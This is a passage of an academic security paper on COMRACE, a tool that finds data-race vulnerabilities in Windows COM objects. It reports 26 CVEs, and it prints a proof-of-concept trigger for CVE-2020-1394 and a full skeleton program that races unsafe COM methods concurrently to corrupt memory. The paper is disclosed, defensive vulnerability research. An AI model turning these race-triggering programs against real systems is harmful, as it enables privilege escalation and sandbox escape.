itives. In our experiments, there are only few false positive
cases due to unmatched control flows.

We recognize synchronization and free instructions with
a pre-defined list of functions. The list collects 54 li-
brary methods which free at least one input argument, and
26 pairs of synchronization APIs. For instance, the API
WindowsDeleteString will release an argument of type
HSTRING. And the pair of API EnterCriticalSection and
LeaveCriticalSection together protect a code region as
critical section.

3.4 Synthesize PoC Exploits

We further verify the results of our binary analysis with
automatically generated PoCs. A PoC is a client application
which triggers race conditions by invoking unsafe methods
concurrently. For simplicity, we only consider a pair of un-
safe methods with conflict accesses (an unsafe method may
conflict with itself).

A skeleton program is provided for synthesis. The skele-
ton program includes a pre-generated header file with all
recovered interface declarations. There are two concurrently
executing subroutines in the main function, where each sub-
routine repetitively invokes a given interface method in a
loop. Thus, race conditions are likely to be triggered by this
skeleton program.

Given a pair of interface methods with conflict accesses, a
PoC exploit is then synthesized from the skeleton program
by automatically initializing the context (i.e., initialize ac-
tual arguments and receiving objects of interface methods)
before invoking the given pair of methods. The actual argu-
ments of an interface method can be primitive-typed (i.e.,
int, char, string, etc.), struct-typed (handled as a composition
of primitive-typed values), or interface-typed (i.e., a COM
object). We randomly generate a value for a primitive- or
struct-typed variable. The challenge lies in how to initialize
an interface-typed argument. A registered COM object can
be obtained by calling the system API CoCreateInstance
with its unique CLSID, and we can get publicly-accessible
interfaces implemented by this COM object through its in-
terface method QueryInterface. However, not all required
interfaces and classes are directly exposed to clients. Hence,
we need to synthesize a sequence of method invocations, to
finally get the required object returned. In a nutshell, to get
an object of type T , we examine every public method M re-
turning an object of T . The corresponding method invocation
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Algorithm 3: Synthesize Interface Object
Input: Interface type: T
Input: Visited types: visited
Output: Call sequences for each typed object: CallSeqMap

1 if T is in visited then
2 return;

3 visited := visited ∪ {T};
4 for each M returning an object of type T do
5 CallSeqMap[T] := ∅;
6 tmpseq := ∅;
7 succeed := true ;
8 for each input parameter of M with interface type T’ do
9 apply Algorithm 3 to T’;

10 if CallSeqMap[T’] is ∅ then
11 succeed := false ;
12 break;

13 else
14 tmpseq = cons(tmpseq, CallSeqMap[T’]);

15 if succeed is true then
16 CallSeqMap[T] := cons(tmpseq, M);
17 break;

sequence is synthesized by first initializing all input parame-
ters of M, then invoking M.

Algorithm 3 synthesizes a sequence of method invocations
to get an object of given interface type T. The algorithm ex-
amines each interface method M returning an object of type T
(lines 4 -17). Note that a COM object can be directly returned
from a method, or can be indirectly returned via function
formal parameters. In the latter case, we also regard those
methods with output parameters of type T (i.e., parameter of
type T ** ) as returning an object of type T. If we can synthe-
size method invocation sequences for all input parameters of
M (lines 8 - 14), then M can be successfully invoked. In that
case, we have synthesized a method sequence returning an
object of type T (lines 15 - 17).

For our motivating example CVE-2020-1394, by ana-
lyzing the binary file LocationFramework.dll of COM
object GeoLocation, we found the vulnerable interface
implementation IVisitInformationInternal, with 6 un-
safe methods (Table 1). Take the pair of methods Proc3
and Proc6 for example. Figure 8 depicts the synthe-
sized PoC program (with simplification), which firstly ini-
tializes the receiver object IVisitInformationInternal
and the parameter ILocationInformation then concur-
rently invokes the two methods. For the receiver object
IVisitInformationInternal, algorithm 3 generates a
method invocation sequence from 16-21, where each method
call requires an object returning from a previous call (e.g.,
the call to Boundary->Proc3 at line 18 requires its receiver
object returned from the previous call Manager->Proc6 at
line 16) and the last method call Info->QueryInterface re-
turns an object of type IVisitInformationInternal. The
parameter ILocationInformation is generated similarly.

We run our PoCs with PageHeap [22] enabled. The tool
monitors heap memory states for all running processes, and
warns on run-time memory corruptions. Each PoC runs up
to 10 minutes. If a PoC can trigger memory corruption in the

1 IVisitClientBoundary* Boundary;
2 ILocationManager* Manager;
3 IVisitInformation* Info;
4 IVisitInformationInternal* InfoInternal;
5 ILocationInformation* ILocationInfo;
6 ILocationSession* LocationSession;
7 int _tmain()
8 {
9 CoInitialize();

10 //Get COM ILocationManager
11 HRESULT hrr =
12 CoCreateInstance(clsid1, NULL,
13 CLSCTX_LOCAL_SERVER,
14 iid,(void **)&Manager);
15 //Get IVisitClientBoundary
16 hrr = Manager->Proc6(&Boundary);
17 //Get IVisitInformation
18 hrr = Boundary->Proc3(&Info);
19 //Downcasting to
20 // IVisitInformationInternal
21 hrr = Info->QueryInterface(&InfoInternal);
22 //Get ILocationInformation
23 hrr = Manager->Proc4(ParamBuffer, &LocationSession);
24 hrr = LocationSession->Proc7(&ILocationInfo);
25 //Invoke Info->Proc3/Proc6 Concurrently
26 hrr = InfoInternal->Proc6(ILocationInfo);
27 ...
28 }

Figure 8: PoC exploit of CVE-2020-1394.

server process, we can confirm that data races exist (in our
experience, bug-triggering PoCs often manifest in seconds).
If the corrupted server process has higher privileges than the
application process, we are certain that it exposes a vulner-
ability which can lead to privilege escalation and arbitrary
code execution.

Discussion We synthesize a PoC by automatically generat-
ing all required inputs (including objects and primitives) to
invoke given interface methods. Note that we have not con-
sidered the specific input values or object states. As a result,
those instructions depending on specific inputs may not be
covered. We can fuzz input values and object states to further
improve coverage, at the cost of executing large sets of PoCs.

3.5 Implementation

We implement COMRACE in Python and Powershell,
with 4,571 and 246 lines of Python and Powershell code,
respectively. COMRACE leverages existing tools OleView-
DotNet [21], IDA Python [23], Angr [24], and MSVC Com-
piler [25] to extract interface declaration, decompile binary
file, perform static field usage analysis, and compile the syn-
thesized PoCs respectively.

We write Powershell scripts to systematically scan win-
dows system registry and extract information of registered
COM objects. The collective information is stored in MySQL
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Table 2: Number of analyzed remote objects, binary files,
interfaces, interface methods, and fields.

# Remote Objects # Binaries # Interfaces

463 392 1,264

# Vtables # Interface Methods # Fields

1,584 6,067 3,684

for further analysis. Next, COMRACE invokes the tool Ole-
ViewDotNet [21] to extract interface declaration from COM
binary files using Powershell scripts, and we write a parser
in Python to process the output results of the tool. IDA
Python [23] is employed to decompile binary files, and we
analyze the decompiled file to reconstruct vtables and locate
interface method implementations. Finally, we leverage the
tool Angr [24] for static field usage analysis. Angr uplifts bi-
nary code to VEX IR, on which we conduct our static analysis.
This tool is used because its representation is more suitable
for implementing our static taint analysis to track field usages.

4 Evaluation

We evaluate COMRACE by analyzing all registered COM
objects on the Windows 10 platform (version 1909 with build
number from 10.0.18363.657 to 10.0.18363.959). The un-
derlying operating systems are configured with their default
settings, running on an i7-10875H desktop with 64GB of
memory and an SSD of 2.0 TB. To evaluate the precision of
COMRACE, we also apply COMRACE to the open-source
ReactOS platform [26] (version 0.4.14) where the ground
truth is available.

Our evaluation answers the following research questions:

• RQ1: How effective can COMRACE analyze commer-
cial off-the-shelf COM binaries?

• RQ2: How effective can COMRACE detect unsafe inter-
face methods in COM binaries, and are they prevalent
on the windows platform?

• RQ3: How dangerous are those data race bugs and can
they cause severe damages?

• RQ4: How precise is COMRACE in detecting unsafe
interface methods.

4.1 RQ1: Analyze COM Objects
Figure 9 summarizes the number of registered COM objects

and the number of analyzed COM objects on the Windows
10 platform (build 10.0.18363.657). There are a total num-
ber of 11,315 registered COM objects, and COMRACE can
successfully analyze 10,420 of them, with a success rate of
92.1%. Analysis of a COM object is regarded as a failure

92.09%
Registered:  11315

Recovered: 10420

MTA&NTA: 8912

Remote: 863 

Remote&MTA&NTA: 463

78.76% 4.09%
7.63%

Figure 9: Statistics of total and analyzed COM objects on
Windows 10.

if COMRACE fails to uncover the implementation for one
of its interfaces, and there are 895 of them (7.9%). Without
source code information, it is difficult to figure out the exact
reason in those failed cases. It is possible that not all vtables
are precisely reconstructed since we may miss certain corner-
case code patterns to initialize a vtable, and we may miss
some matching methods since our analysis may reconstruct
parameter layout incorrectly.

In Figure 9, among the 10,420 analyzed COM objects,
8,912 of them support multi-threading (i.e., in MTA or NTA),
accounting for 85.5% of total objects. In addition, there are
863 cross-process COM objects, and 463 of them support
multi-threading. These 463 COM objects will be further ex-
amined since they are prone to data race attacks.

Table 2 summarizes various statistics for the 463 COM
objects. The 463 COM objects are located in 392 different
binary files. COMRACE successfully uncovers the imple-
mentations of all 1,264 interfaces: there are a total number
of 6,067 interface methods, and 3,684 member fields. On
average, each COM class consists of 8.0 member fields, im-
plementing 2.7 interfaces and 13.1 interface methods. Note
that a class implementing a child interface also implements
its parent interfaces.

Discussion COMRACE successfully uncovers the imple-
mentations of 92.1% of total registered COM objects, sug-
gesting the effectiveness of our approach in reconstructing
vtables and analyzing types in off-the-shelf COM binaries. By
tracking usages of this pointer, COMRACE also successfully
identified averagely 8 fields for each class.

4.2 RQ2: Identify Unsafe Methods

Table 3 reports the number of unsafe methods and the
number of unsafe objects distributed by field access types
(Read, Write, or Free). Recall that an unsafe free is particularly
dangerous since it leads to highly exploitable use-after-frees.
We also differentiate the case of unsafe accesses to primary-
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Table 3: Number of unsafe methods and unsafe COM objects
reported by COMRACE. # Read, # Write, # Free are numbers
of unsafe methods/COMs which reads, writes, and free a field,
respectively. # Total is the total unsafe methods/COMs. Since
a method can read/write/free a field at the same time, the total
number is less than the sum of the three.

Field Type Unsafe # Read # Write # Free # Total

Pointer
Methods 134 128 62 186

COMs 51 47 34 58

Primary
Methods 865 914 — 932

COMs 118 114 — 118

Table 4: Statistics of PoCs. # Methods is the number of se-
lected unsafe methods. # Pairs are the number of method pairs
with conflict field accesses, #PoCs are the number of valid
PoCs synthesized, #Crashes are the number of crashed PoCs.
# CVEs and # Bugs are the number of confirmed CVEs, and
the number of bug-triggering PoCs, respectively.

# Methods # Pairs/# PoCs # Crashes # CVEs # Bugs

82 256/234 145 26 29

typed fields with those to pointer fields, since unsafe pointer
accesses are more likely to corrupt memory.

As shown in Table 3, unsafe interface methods and un-
safe COM objects are prevalent. There are a total number
of 1,118 unsafe methods (186 accessing pointer fields and
932 accessing primary-typed fields) and 176 unsafe COM
object, accounting for 18.4% and 38.0% of total interface
methods and total COM objects, respectively. Note that those
unsafe methods with only primary-typed field accesses may
not trigger memory corruption bugs, but they can lead to un-
deterministic behavior. We have randomly tested 20 pairs
of unsafe methods writing primitive fields, and no memory
corruption is observed. There are 186 unsafe methods (3.1%
of total methods) and 58 unsafe COM objects (12.5% of to-
tal COM objects) have unguarded accesses to pointer fields.
Moreover, there are 62 unsafe methods that free a member
field. They can lead to highly exploitable use-after-frees.

We further verify 82 selected unsafe methods with synthe-
sized PoCs, including all 62 methods with free usages, and
another 20 randomly selected methods which write pointer
fields. Table 4 summarizes the result. There are 256 method
pairs with conflict accesses and COMRACE can successfully
synthesize a valid PoC for 234/256 (Columns 2) given
method pairs, with a success rate of 91.4%. Our synthesis
algorithm fails on 22 method pairs because the 3 objects
CDPComActivityStore, ApplicationActivationImpl,
and StorageProviderBanners cannot be automatically

synthesized, which are required by 7 interface methods in the
22 method pairs.

There are 145 PoCs (i.e., 62% of valid PoCs) triggering
memory corruption bugs (Column 3), exposing 26 confirmed
CVEs and 29 bugs (corrupted PoCs due to the same root
cause are classified as as a CVE/bug). The 29 confirmed
bugs are not given CVE numbers since they cannot escape
privilege boundaries. We have carefully examined the rest
89 PoCs that do not cause memory corruptions, by manually
tracing their executions and inspecting corresponding COM
binaries. In 49 PoCs, we observe concurrent field accesses
but these race conditions do not crash the program. It is not
clear whether they are benign race conditions or can lead to
non-deterministic functional bugs. The rest 40 failed PoCs are
due to imprecise analysis results: 26 PoCs fail due to incorrect
aliases and 14 PoCs fail due to input conditions. Overall, we
can successfully trigger data races for 194 out of 256 method
pairs (145 lead to memory corruption), suggesting a false
positive rate of less than 24.2%.

As discussed in Section 3.4, our synthesis algorithm does
not consider specific input values or object states. In our ex-
periments, 14 PoCs fail directly due to this limitation. There
are also 49 PoCs which trigger concurrent write accesses, but
cannot crash the program. It is unclear whether these PoCs
can also lead to memory corruption bugs under specific in-
put conditions or not. PageHeap [22] immediately raises a
warning for concurrent accesses with free usages. However,
concurrent writing accesses may only corruption the program
under specific inputs.

Discussion Unsafe methods and unsafe COM objects are
prevalent (18.4% of total methods, and 38.0% of total objects),
suggesting wildly existing data race bugs. Our experiments
demonstrate that those unsafe methods are highly possible to
trigger run-time bugs, and some can result in serious security
violations (26 confirmed CVEs).

4.3 RQ3: Exploit Vulnerabilities
Table 5 gives the details of the 26 confirmed CVEs in

Table 4. For each confirmed CVE, we list its service name
(Column 1), its class name (Column 2), its affected build
version (Column 3), its assigned CVE ID (Column 4), and its
security impacts (Column 5).

All the 26 vulnerabilities can lead to privilege escalation,
and 23 of them can be exploited to escape the sandboxed
security boundary (imposed by the Windows Application con-
tainer). More importantly, in 20 vulnerabilities, the sandboxed
privilege can be escalated to NT AUTHORITY/SYSTEM. This
suggests that an attacker can gain unlimited privileges from
those PoC exploits, posing serious security threats.

COMRACE has reported 16 confirmed data race vulnerabil-
ities in Windows Runtime (WinRT). WinRT is a COM-based
cross-platform software component (introduced since Win-
dows 8 and Windows Server 2012), which provides services

USENIX Association 31st USENIX Security Symposium    3029



Table 5: List of vulnerabilities discovered by COMRACE (with CVE assigned).
COM Service Name COM Class Name Windows Version CVE Number Security Boundary

1 Location FrameWork GeoLocation 1909.18363.752 CVE-2020-1394 User to SYSTEM
2 Windows UserManager UserManager 1909.18363.720 CVE-2020-1146 Sandbox to SYSTEM
3 DmEnrollmentSvc Service MdmAlert 1909.18363.720 CVE-2020-1372 Sandbox to SYSTEM
4 Capability Access Manager CapabilityAccessServer 1909.18363.720 CVE-2020-1404 Sandbox to SYSTEM
5 Diagnostics Hub CollectionSession 1909.18363.720 CVE-2021-1680 User to SYSTEM
6 Connected Devices Platform CDPComEnumDevice 1909.18363.720 CVE-2020-1211 User to SERVICE

7 Windows Runtime Broker AppInstallInfoRecord 1909.18363.657 CVE-2020-1090 Sandbox to User
8 Windows Runtime Broker Notification Binder 1909.18363.657 CVE-2020-1125 Sandbox to User
9 Windows Runtime Broker ContentRestrictions 1909.18363.657 CVE-2020-1158 Sandbox to User

10 Windows Runtime PackageIdentity 1909.18363.657 CVE-2020-1185 Sandbox to SYSTEM
11 Windows Runtime PackageLocation 1909.18363.657 CVE-2020-1186 Sandbox to SYSTEM
12 Windows Runtime XBoxPackageServer 1909.18363.657 CVE-2020-1187 Sandbox to SYSTEM
13 Windows Runtime RepositoryManager 1909.18363.657 CVE-2020-1188 Sandbox to SYSTEM
14 Windows Runtime MrtApplication 1909.18363.657 CVE-2020-1189 Sandbox to SYSTEM
15 Windows Runtime MrtDefaultTileServer 1909.18363.657 CVE-2020-1156 Sandbox to SYSTEM
16 Windows Runtime PrimaryTile 1909.18363.657 CVE-2020-1190 Sandbox to SYSTEM
17 Windows Runtime AppInstaller 1909.18363.657 CVE-2020-1191 Sandbox to SYSTEM
18 Windows Runtime ApplicationServer 1909.18363.657 CVE-2020-1155 Sandbox to SYSTEM
19 Windows Runtime ApplicationIdentityServer 1909.18363.657 CVE-2020-1124 Sandbox to SYSTEM
20 Windows Runtime ActivationUser 1909.18363.657 CVE-2020-1131 Sandbox to SYSTEM
21 Windows Runtime AppExtension 1909.18363.657 CVE-2020-1144 Sandbox to SYSTEM
22 Windows Runtime ApplicationBackgroundTask 1909.18363.657 CVE-2020-1184 Sandbox to SYSTEM
23 Windows Runtime BundlePackage 1909.18363.657 CVE-2020-1306 Sandbox to SYSTEM
24 Windows Runtime OptionalBundlePackage 1909.18363.657 CVE-2020-1305 Sandbox to SYSTEM
25 Windows Runtime PackageAppInstaller 1909.18363.657 CVE-2020-1151 Sandbox to SYSTEM
26 Windows Runtime PackageAppInstallerServer 1909.18363.657 CVE-2020-1134 Sandbox to SYSTEM

for a variety of Windows Apps [27], e.g., Microsoft365, What-
sapp, etc. Most Apps are running in sandboxed processes.
However, data race vulnerabilities in WinRT lead to privilege
escalation and sandbox-escape attacks.

In the next sections, we will investigate those vulnerabilities
in detail with 2 case studies, by analyzing their root causes
and discussing mitigation strategies.

4.3.1 Case Study I: CVE-2020-1146

COMRACE reported a data race vulnerability in
UserMgr.dll. The vulnerability was submitted to Mi-
crosoft in April 2020 and was assigned as CVE-2020-
1146. The unsafe method triggering this vulnerability is
SignInContext::put_AuthData, with its simplified code
snippets given in Figure 10.

The method put_AuthData invokes the static function
HString::Set to reset its member field this+15 to the
new input value a2 (line 4). There is a common vulner-
able code pattern in the callee function: newstring (i.e.,
the member field) is firstly freed by the library call to
WindowsDeleteString (line 12), then being reset to a new
value (line 13). Such vulnerable code pattern is very common,
and we name it the replace pattern. Our motivating example,
CVE-2020-1394, is another case of this pattern.

The vulnerability is exposed by our PoC which concur-
rently invokes the unsafe method put_AuthData multiple
times. In fact, most unsafe methods with free usages can
trigger double free or use-after-free bugs when running con-
currently with itself.

4.3.2 Case Study II: CVE-2020-1211

In CVE-2020-1211, data races can trigger buffer over-
flows, which further leads to type confusion. The vul-
nerability is triggered by conflict write accesses in
the two interface method CDPComEnumDevice::Next and
CDPComEnumDevice::Skip.

Figure 11 gives the simplified code snippet. COM
CDPComEnumDevice is an iterable object used for enumerat-
ing ICDPDevice objects. The method Skip moves the current
object pointer forward (line 7), and method Next returns the
next ICDPDevice object to user. In method Next, a bounds
check is firstly performed at line 20. If succeeded, the method
then iterates to next object (line 23). However, if the two in-
terface methods runs together concurrently, line 7 in method
Skip may be executed between the above two operations in
Next, resulting in off-by-one overflows. Finally, the out-of-
bound memory is returned to user.

The off-by-one overflow can lead to type confusion vulner-
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1 Windows::System::Internal::SignInContext::
2 put_AuthData( *this, HSTRING a2) {
3 Microsoft::WRL::Wrappers::HString::
4 Set(this + 15, &a2);
5 ...
6 }
7 __int64 HString::Set(HSTRING *newString,
8 HSTRING *a2) {
9 unsigned int v2; // ebx

10 v2 = 0;
11 if ( !*a2 || *a2 != *newString ) {
12 WindowsDeleteString(*newString);
13 *newString = 0i64;
14 v2 = WindowsDuplicateString(*a2, newString);
15 }
16 return v2;
17 }

Figure 10: Simplified code snippet of CVE-2020-1146 in
UserManager.dll.

ability because the function Next will cast an out-of-bound
memory (usually invalid heap memory) to an ICDPDevice
object. This vulnerability can be exploited to perform priv-
ilege escalation remote code execution attacks because
CDPComEnumDevice is both accessible in local server and
remote machine.

Discussion Data race vulnerabilities can cause serious secu-
rity issues: 20 vulnerabilities can be exploited to gain unlim-
ited privileges from sandboxed applications. In addition, many
vulnerabilities share a similar vulnerable code pattern (i.e.,
deleting a field followed by a reset), which can be avoided by
implement such code pattern as an atomic region.

4.4 RQ4: Analyze ReactOS

We evaluate the precision of COMRACE on the open-
source ReactOS platform, where analysis results can be veri-
fied against the source code implementation. Table 6 shows
the number of analyzed COM objects and interfaces in Re-
actOS. COMRACE can successfully extract all 147 MTA
COM objects (out of 434 total COM objects) from 106 binary
files (Columns 1 and 2), and recover 152 out of 172 inter-
faces (88% of all declared interfaces). We fail to recover 20
interfaces because COMRACE cannot locate the binary files
implementing those interfaces, although they are declared in
the IDL source files. Manual inspection indicates that those
interfaces are marked as hidden, suggesting that they may
not be publicly accessible. For the 152 analyzed interfaces,
COMRACE correctly recovers all their method implementa-
tions and field usages (except for 10 declared fields not used
in any methods).

We apply COMRACE to 29 randomly chosen MTA objects
(about 19.7% of all MTA objects). We verify each reported
unsafe method by manually examining its source code imple-

1 __int64 __fastcall CDPComEnumDevice::Skip(
2 CDPComEnumDevice *this,
3 unsigned __int16 a2){
4 ...
5 v2 = a2;
6 // Move Current Pointer Forward
7 (_QWORD *)(this + 7 ) += v2*16i64;
8 return (unsigned int)v3;
9 }

10
11 __int64 __fastcall CDPComEnumDevice::Next(
12 CDPComEnumDevice *this,
13 unsigned __int16 a2,...){
14 ...
15 if ( a2 ) {
16 // Current Pointer
17 v11 = (_QWORD *)*((_QWORD *)this + 7);
18 do {
19 // End Pointer Check
20 if (v11 == *((_QWORD **)this + 5)) break;
21 ...
22 //Move Forward
23 *((_QWORD *)this + 7) += 16i64;
24 ...
25 }
26 while ( v10 < a2 );
27 }
28 }

Figure 11: Simplified code snippet of CVE-2020-1211 in
CdpSvc.dll.

mentation. Each report is inspected and cross-validated by at
least two authors of this paper. Any disputes will be discussed
until an agreement is reached. Due to the large amount of
manual efforts involved, we only validated the reports for the
29 randomly chosen objects, and did not check against all 147
MTA objects.

As shown in Table 7, COMRACE reports 19 unsafe COM
objects (Column 1) with 51 unsafe interface methods, in-
cluding 31 methods and 20 methods accessing pointer and
primitive fields (Columns 2 - 4), respectively. There are 16
false positives (Column 5), with a false positive rate of 31.4%.
Among the 16 false positives, 10 false positives are due to
incorrect alias: a member field is always regarded as pointing
to the same COM interface, which will introduce false aliases
if the field is updated. For the rest 6 false positives, the num-
ber of locking/unlocking primitives are not matched due to
control flows, and COMRACE incorrectly reports unguarded
field accesses with its linear scan algorithm (Algorithm 2).

Discussion The binary analysis proposed by COMRACE
is simple yet precise and effective. COMRACE successfully
recovers interface method implementations at almost 100%
precision, and can effectively detect 35 unsafe methods, with
a false positive rate of 31.4%
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Table 6: Number of total/analyzed MTA objects, interfaces,
binary files, interface methods and fields on ReactOS.

# MTAs # Binaries # Interfaces # Methods # Fields

147/147 106/106 172/152 963/872 761/676

Table 7: Number of unsafe methods and unsafe COM objects
on ReactOS.

#COMs
# methods

#FPs FP rate
Pointer Primary Total

19 31 20 51 16 31.4%

5 Related Work

Binary analysis There have been a number of studies
on binary analysis for decompilation or vulnerability detec-
tion [28, 29, 30, 31, 32, 33, 34, 35]. BAP [28] and Bin-
CAT [29] are two general binary analysis tools. BAP pro-
vides a basic platform for binary analysis, and BinCAT of-
fers functionalities for taint analysis, type propagation, as
well as use-after-free and double-free detection. ConSeq [30]
combines static and dynamic analysis to detect data races in
open-source real-world C/C++ applications. IntFinder [31]
detects integer overflow bugs in x86 binary programs, by ex-
tending symbolic execution techniques to binaries. The work
in [34] proposes a scattered context grammar to effectively
decompile optimized or obfuscated code. Compared to bi-
naries, decompilation for Java class files is much easier, as
shown in [35]. The tool iDEA [33] aims at detecting data
races in apple kernel drivers based on static analysis. Among
all the above works, iDEA is the most relevant to our work
since it also detects data races from binaries. However, Apple
device drivers and Microsoft COM are quite different. For
instance, important features such as interface, apartment, and
cross-process COM objects do not apply to Apple drivers. As
a result, we cannot simply apply the iDEA method to COM
objects for data race detection.

Recent studies have investigated on how to recover class
declaration and class hierarchy from binaries [36, 37, 38,
39, 40, 41]. ObjDigger [40] applies symbolic execution and
inter-procedural data flow analysis to recover class instances,
as well as their member functions and fields, from binaries.
However, the analysis is complex and expensive, resulting in
poor performance. Accuracy of the tool is also limited due to
missing information in optimized binaries. OOAnalyzer [37]
proposes a new approach which combines formal logic infer-
ence with heuristics incorporating domain knowledge. The
tool performs well on both polymorphic and non-polymorphic
classes. Compared to existing work, COMRACE focuses on
uncover interface implementation from COM binaries.

Race detection There has been a large body of research on
data race detection [2, 3, 5, 7, 8, 42, 43, 44, 45, 46]. Most of

them focus on detecting races from source programs, by stati-
cally or dynamically analyzing un-ordered conflict memory
accesses. Razzer [2] combines static analysis and fuzzing to
make fuzzing techniques capable of detecting data races in the
OS kernel. Krace [3] employs a combination of lock-set anal-
ysis and classic happen-before reasoning to model data races
that happen in the OS kernel’s file system. SmartTack [5] pro-
poses to optimize the classic happen-before model with pre-
dictive analysis. In addition, the tool also introduces conflict-
ing critical section optimization to avoid redundant analysis.
DILP [8] dynamically monitors the run-time status of kernel
drivers, to detect locking inconsistency errors in data-race
fixing patches. As demonstrated by the authors, such errors
are common in real-world applications. AdaptiveLock [7]
conducts an empirical study on real-world applications and
their study suggests that 97.1% of data races are due to the
absence of locks. COMRACE effectively detects such kind
of data races by tracking unprotected field usages, and our
experiments also show that they are prevalent in COM objects.

6 Conclusion

We present COMRACE, the first data race vulnerability
detection tool for COM objects. COMRACE applies static
binary analyses to detect unsafe interface methods from off-
the-shelf COM binaries, then verifies static analysis results
with synthesized PoCs. Our experimental results show that
unsafe methods and unsafe COM objects are prevalent on
windows: 18.4% of methods and 38.0% of COM objects are
unsafe and they may suffer from potential data races. More-
over, 62 methods unsafely free an object, which can lead to
highly-exploitable use-after-frees. COMRACE automatically
synthesized 234 PoCs from 82 unsafe methods (256 pairs
of methods with conflict accesses). 145 PoCs lead to critical
memory corruption, exposing 26 CVEs.
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1#include <tchar.h>
2#include <iostream>
3#include <stack>
4#include <string>
5#include <ctype.h>
6#include <algorithm>
7#include <vector>
8#include <robuffer.h>
9#include <cstring>

10#include <Windows.h>
11#include <comdef.h>
12#include <wrl\client.h>
13#include <wrl\wrappers\corewrappers.h>
14#include <winerror.h>
15#include <windows.foundation.h>
16#include <wrl.h>
17#include <wrl/implements.h>
18#include <windows.storage.streams.h>
19#include <winrt\Windows.Foundation.h>
20#include <atlcomcli.h>
21#include "interface_def.h"
22#pragma comment(lib, "runtimeobject.lib")
23
24using namespace ABI::Windows::Foundation;
25using namespace ABI::Windows::Foundation::Collections;
26using namespace ABI::Windows::Storage::Streams;
27using namespace Microsoft::WRL;
28using namespace Microsoft::WRL::Wrappers;
29
30bool isWinRT = false;// global variable
31
32// typedefs
33typedef char sbyte;
34typedef BYTE byte;
35typedef unsigned int uint;
36typedef PVOID IDefaultInterface;
37// Skeleton Comment: Interfaces Declaration Template
38// Skeleton Comment: Name regulate to

"_I{InterfaceNameOrIID}"↪
39IDefaultInterface* _IDefaultInterface;
40IActionInterface* _IActionInterface;
41ITargetInterface* _ITargetInterface;
42
43// Skeleton Comment: error-handle functions
44int PrintError(unsigned int line, HRESULT hr)
45{
46 wprintf_s(L"ERROR: Line:%d HRESULT: 0x%X\n", line, hr);
47 return hr;
48}
49HRESULT hr;
50// Skeleton Comment: Synthesizing Potential Race

Procedure Function Pairs↪
51DWORD WINAPI RaceFunction_1(LPVOID lpParam){
52 // Skeleton Comment: Prepare parameters for

_ITargetInterface->Proc{Number}↪
53 LPVOID buffer_a0_method1 = (LPVOID)malloc(0x400);
54 LPVOID pointer_a1_method1 = 0;
55 while(1){
56 hr = _ITargetInterface->Proc{Number}(buffer_a0_method1,

&pointer_a1_method1);↪
57 }
58}
59DWORD WINAPI RaceFunction_2(LPVOID lpParam){
60 // Skeleton Comment: Prepare parameters for

_ITargetInterface->Proc{Number}↪
61 LPVOID buffer_a0_method1 = (LPVOID)malloc(0x400);
62 LPVOID pointer_a1_method1 = 0;
63 int int_a1_method1 = 1;
64 while(1){
65 hr = _ITargetInterface->Proc{Number}(int_a1_method1,

buffer_a0_method1, &pointer_a1_method1);↪
66 }
67}
68// Synthesized POC begin
69int main(){
70 // Initialize COM Multithreaded invocation context
71 RoInitializeWrapper initialize(RO_INIT_MULTITHREADED);
72 if (FAILED(initialize))
73 {
74 return PrintError(__LINE__, initialize);
75 }

76 printf("Synthesized POC Skeleton begin\n");
77 // Prepare Parameters for

CoCreateInstance/ActivateInstance to get
Local_SERVER interface handle

↪
↪

78 if (isWinRT){
79 const WCHAR ObjStr[] = L"Template.Skeleton.ClassName";
80 IInspectable* tempObject; // All WinRT supports

IInspectable↪
81 hr = ActivateInstance(HStringReference(ObjStr).Get(),

&tempObject);↪
82 if (FAILED(hr))
83 {
84 return PrintError(__LINE__, hr);
85 }
86 // Skeleton Comment: Assign tempObject to

Interfaces Declaration handles↪
87 *_IDefaultInterface = tempObject;
88 }else{
89 // CallSeqMap[]: Acquire BeginInterface
90 CLSID clsid;
91

CLSIDFromString(CComBSTR("{D0D0CACA-D0D0-CACA-D0D0-CACAD0D0CACA}"),
&clsid);

↪
↪

92 CLSID iid;
93

CLSIDFromString(CComBSTR("{D0D0CBCB-D0D0-CBCB-D0D0-CBCBD0D0CACA}"),
&iid);

↪
↪

94 PVOID tempObject_class;
95 hr = CoCreateInstance(
96 clsid,
97 NULL,
98 CLSCTX_LOCAL_SERVER,
99 iid,

100 (void**)&tempObject_class
101 );
102 if (FAILED(hr)) { return PrintError(__LINE__, hr); }
103 // Skeleton Comment: Assign tempObject_class to

Interfaces Declaration handles↪
104 *_IDefaultInterface = tempObject_class;
105 }
106 // Skeleton Comment: generate method call sequences

in order according to CallSeqMap[]↪
107 // Skeleton Comment:

Method1->Method2->Method3->MethodX...↪
108 // Skeleton Comment: Prepare parameters for Method1.
109 int int_a0_method1 = 1;
110 std::string string_a1_method1 = "CServer::Init";
111 // Skeleton Comment: Invoke Method1
112 hr = _IDefaultInterface->Proc{Number}(int_a0_method1,

string_a1_method1, &_IActionInterface); // Fill
parameter list composed according to method
definition

↪
↪
↪

113 if (FAILED(hr)) { return PrintError(__LINE__, hr); } //
InterStep Error check↪

114 // Skeleton Comment: Prepare parameters for Method2.
115 std::string string_a1_method2 = "CServer::Start";
116 // Skeleton Comment: Invoke Method2
117 hr = _IActionInterface->Proc{Number}(string_a1_method2,

&_ITargetInterface);↪
118 if (FAILED(hr)) { return PrintError(__LINE__, hr); }
119 // Skeleton Comment: Prepare parameters for

Method3...↪
120 // Skeleton Comment: Invoke Method3
121 // Skeleton Comment: Once we obtain a reference to

_ITargetInterface, invoke unsafe methods
concurrently.

↪
↪

122 // Skeleton Comment: Prepare 4 threads to invoke each
method twice.↪

123 DWORD tid = 0;
124 CreateThread(NULL, 0, RaceFunction_1, (LPVOID)(0), 0,

&tid);↪
125 CreateThread(NULL, 0, RaceFunction_2, (LPVOID)(0), 0,

&tid);↪
126 CreateThread(NULL, 0, RaceFunction_1, (LPVOID)(0), 0,

&tid);↪
127 CreateThread(NULL, 0, RaceFunction_2, (LPVOID)(0), 0,

&tid);↪
128 Sleep(600000); // Let the POC run for 10 seconds.
129 printf("Synthesized POC Skeleton end\n");
130 return 0;
131}

18Figure 12: Skeleton Program for Synthesizing PoC Exploits.
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1 #include <tchar.h>
2 #include <iostream>
3 #include <stack>
4 #include <string>
5 #include <ctype.h>
6 #include <algorithm>
7 #include <vector>
8 #include <robuffer.h>
9 #include <cstring>

10 #include <Windows.h>
11 #include <comdef.h>
12 #include <wrl\client.h>
13 #include <wrl\wrappers\corewrappers.h>
14 #include <winerror.h>
15 #include <windows.foundation.h>
16 #include <wrl.h>
17 #include <wrl/implements.h>
18 #include <windows.storage.streams.h>
